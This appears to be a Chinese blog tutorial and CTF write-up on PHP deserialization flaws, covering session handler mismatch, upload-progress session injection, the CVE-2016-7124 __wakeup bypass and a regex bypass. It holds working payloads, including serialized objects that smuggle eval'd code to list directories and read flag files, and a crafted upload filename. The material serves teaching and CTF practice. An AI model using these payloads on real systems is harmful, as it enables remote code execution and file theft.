<pre><code>&lt;?php
        ini_set("session.serialize_handler", "php");
        session_start();
        class student {
                var $name;
                var $age;
                function __wakeup(){
                        echo $this-&gt;name;
                }
        }
?&gt;
</code></pre>
<p>我们先构造一个student的类来生成我们想要的目的</p>
<pre><code>&lt;?php
        class student {
                var $name;
                var $age;
        }
$Lmg = new student();
$Lmg-&gt;name = "hack";
$Lmg-&gt;age = "19";
echo serialize($Lmg);
?&gt;
</code></pre>
<p>生成的序列化字符串<br>
<code>O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}</code><br>
我们构造在储存页面构造payload，只需要在上面的字符串前加|就可，为什么呢？？？<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201003223515095-1500667762.png" alt="" loading="lazy"><br>
如果我们传入的数值中有|那么在读取时就认为后面是我们要反序列化的字符串，从而达到目的<br>
将构造的字符串传入存储php中计：?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}<br>
查看储存的字符串：a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";}<br>
所以达到了目的<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201003223959916-1468281172.png" alt="" loading="lazy"><br>
查看一下读取的php，成功打印了hack<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201003224133138-2047435593.png" alt="" loading="lazy"></p>
<h3 id="没有_session赋值的session反序列化">没有$_SESSION赋值的session反序列化</h3>
<p>在php中存在一个upload_process机制，可以自动创建$_SESSION一个键值对，而且其中的值用户可以控制，文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201004184459779-1511268962.png" alt="" loading="lazy"><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201004194337418-1379754851.png" alt="" loading="lazy"><br>
什么意思呢？？？？意思上传文件，同时post一个于session.upload_process.name同名的变量。后端就会自动将post的这个同名变量作为键，进行序列化然后存储到session文件中，下次请求就会反序列化session文件</p>
<h4 id="一个ctf题来实践了解一下">一个ctf题来实践了解一下</h4>
<p>题目地址：http://web.jarvisoj.com:32784/index.php<br>
打开题目是源码：</p>
<pre><code>&lt;?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
      $this-&gt;mdzz = 'phpinfo();';
    }
   
    function __destruct()
    {
      eval($this-&gt;mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?&gt;
</code></pre>
<p>先读取session，然后get传入phpinfo参数，然后创建对象，对象中构造函数给mdzz赋值phpinfo，析构函数执行eval，所以我们的目的是将mdzz构造为读取文件<br>
，先随便传入参数，查看phpinfo中的参数，发现默认的反序列化机制是php-serialize，但是题目所使用php，那么这个两个机制再上文产生的漏洞我们已经了解，但是我们没法给session进行存储啊，所以就要用到上面session上传进度的session存储来存入我们想要的内容<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201004191220698-249723964.png" alt="" loading="lazy"><br>
构造上传表单</p>
<pre><code>&lt;form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"&gt;
    &lt;input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /&gt;
    &lt;input type="file" name="file" /&gt;
    &lt;input type="submit" /&gt;
&lt;/form&gt;
</code></pre>
<p>然后构造我们想要的payload，打印目录文件print_r(scandir(dirname(<strong>FILE</strong>)));，如果写入析构函数会eval执行</p>
<pre><code>&lt;?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg-&gt;mdzz = "print_r(scandir(dirname(__FILE__)));";
echo serialize($Lmg);
?&gt;
</code></pre>
<p>生成的序列化字符串<br>
<code>O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}</code><br>
我们用上传表单随便上传一个文件，抓包将filename改为<br>
<code>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}</code><br>
为什么要改filename，因为其会跟file数组保存到session中上面图片有说明<br>
为啥要在字符串前加|,这个上面也说过，因为反序列化的机制不一样，|后会当做要反序列化的字符串<br>
为什么要再"前加\，因为我们的字符串是放在filename=""双引号内要进行转义<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201004195545724-388390261.png" alt="" loading="lazy"><br>
发现成功读取到文件名，但是我们不知道文件目录，查看phpinfo()，查看当前脚本的运行路径<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201004195850496-617393613.png" alt="" loading="lazy"><br>
所以构造：print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));来读取这个文件<br>
payload：</p>
<pre><code>&lt;?php
class OowoO {
    public $mdzz;
}
$Lmg = new OowoO();
$Lmg-&gt;mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));";
echo serialize($Lmg);
?&gt;
</code></pre>
<p>生成的字符串，成功获得flag<br>
<code>O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}</code><br>
<code>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}</code><br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201004211324384-507770958.png" alt="" loading="lazy"></p>
<h2 id="php反序列化小技巧">php反序列化小技巧</h2>
<h3 id="__wakeup失效cve-2016-7124">__wakeup失效：CVE-2016-7124</h3>
<p>漏洞利用版本：<br>
php5&lt;5.6.25<br>
php7&lt;7.0.10<br>
漏洞产生原因<br>
如果存在_wakeup方法，调用unserilize()方法前则先调用_wakeup方法，但是序列化字符串中表示对象属性个数的值大于真实的属性个数时候，便会跳过_wakeup的执行<br>
测试代码：</p>
<pre><code>&lt;?php
class demo{
        public $name = "Lmg";
        public function __wakeup(){
                echo "this is __wakeup&lt;br&gt;";
        }
        public function __destruct(){
                echo "this is __destruct&lt;br&gt;";
        }
}
// $a = new demo();
// echo serialize($a);
unserialize($_GET['Lmg']);
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201002194239744-1392377163.png" alt="" loading="lazy"><br>
对比发现页面只执行了__destruct方法，从而__wakeup()失效</p>
<h4 id="一个ctf例题unserialize3">一个ctf例题(unserialize3)</h4>
<p>题目地址:https://adworld.xctf.org.cn/task/answer?type=web&amp;number=3&amp;grade=1&amp;id=4821&amp;page=1<br>
打开题目直接是部分源码，看到wakeup函数应该想到是利用__wakeup()失效漏洞<br>
题目源码：</p>
<pre><code>class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
</code></pre>
<p>构造payload：</p>
<pre><code>&lt;?php
class xctf{
public $flag = '111';
}
$Lmg = new xctf();
echo serialize($Lmg);
?&gt;
</code></pre>
<p>生成的字符串：<code>O:4:"xctf":1:{s:4:"flag";s:3:"111";}</code><br>
成功获得flag<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201005210907263-18113494.png" alt="" loading="lazy"></p>
<h3 id="bypass反序列化正则">bypass反序列化正则</h3>
<p>当执行反序列化时，使用正则<code>'/:\d+:/i'</code><br>
进行拦截时，主要拦截O:数字:的反序列化字符串，那要怎么绕过呢？？？<br>
php反序列化时O:+4:和O:4:的解析是一样的,具体是php的内核是这么写的<br>
所以可以通过加+来进行绕过</p>
<h4 id="一个ctf例题web_php_unserialize">一个ctf例题(Web_php_unserialize)</h4>
<p>题目地址：https://adworld.xctf.org.cn/task/answer?type=web&amp;number=3&amp;grade=1&amp;id=5409&amp;page=1<br>
打开题目是源代码：</p>
<pre><code>&lt;?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
      $this-&gt;file = $file;
    }
    function __destruct() {
      echo @highlight_file($this-&gt;file, true);
    }
    function __wakeup() {
      if ($this-&gt;file != 'index.php') {
            //the secret is in the fl4g.php
            $this-&gt;file = 'index.php';
      }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/:\d+:/i', $var)) {
      die('stop hacking!');
    } else {
      @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201005212329524-1735757913.png" alt="" loading="lazy"><br>
所以构造payload来进行绕过：</p>
<pre><code>&lt;?php
class Demo {
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?&gt;
</code></pre>
<p><code>TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==</code><br>
var传入即可获得flag<br>
如果这里没有base64加密，我么也需要进行url编码，因为demo中private为私有属性，反序列化会出现不可见字符，所以要进行url编码<br>
<img src="https://img2020.cnblogs.com/blog/2092671/202010/2092671-20201005213725466-665372685.png" alt="" loading="lazy"></p>
<h2 id="如何防止php反序列化">如何防止php反序列化</h2>
<ol>
<li>尽量不要用序列化来传输数据</li>
<li>不要相信用户传入数据，或者不让用户传入完整的序列化类型，进行过滤</li>
<li>隔离运行在低权限环境中的反序列化，记录反序列化异常和失败，例如传入类型不是预期类型，或者反序列化引发异常，限制或监视来自反序列化的容器或服务器的传入和传出网络连接，限制或监视来自反序列化的容器或服务器的传入和传出网络连接。监视反序列化，如果用户不断地反序列化，则发出警报。</li>
</ol>
<h2 id="参考文章及说明">参考文章及说明</h2>
<p>参考文章:<br>
https://blog.csdn.net/qq_45521281/article/details/107135706<br>
https://paper.seebug.org/680/<br>
https://xz.aliyun.com/t/7366#toc-6<br>
《从从0到1 ctfer的成长之路》<br>
最后欢迎访问我的个人博客：https://lnng.top/<br>
说明：本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担</p><br><br>
来源：https://www.cnblogs.com/Lmg66/p/13709419.html
頁: [1]
查看完整版本: php反序列化漏洞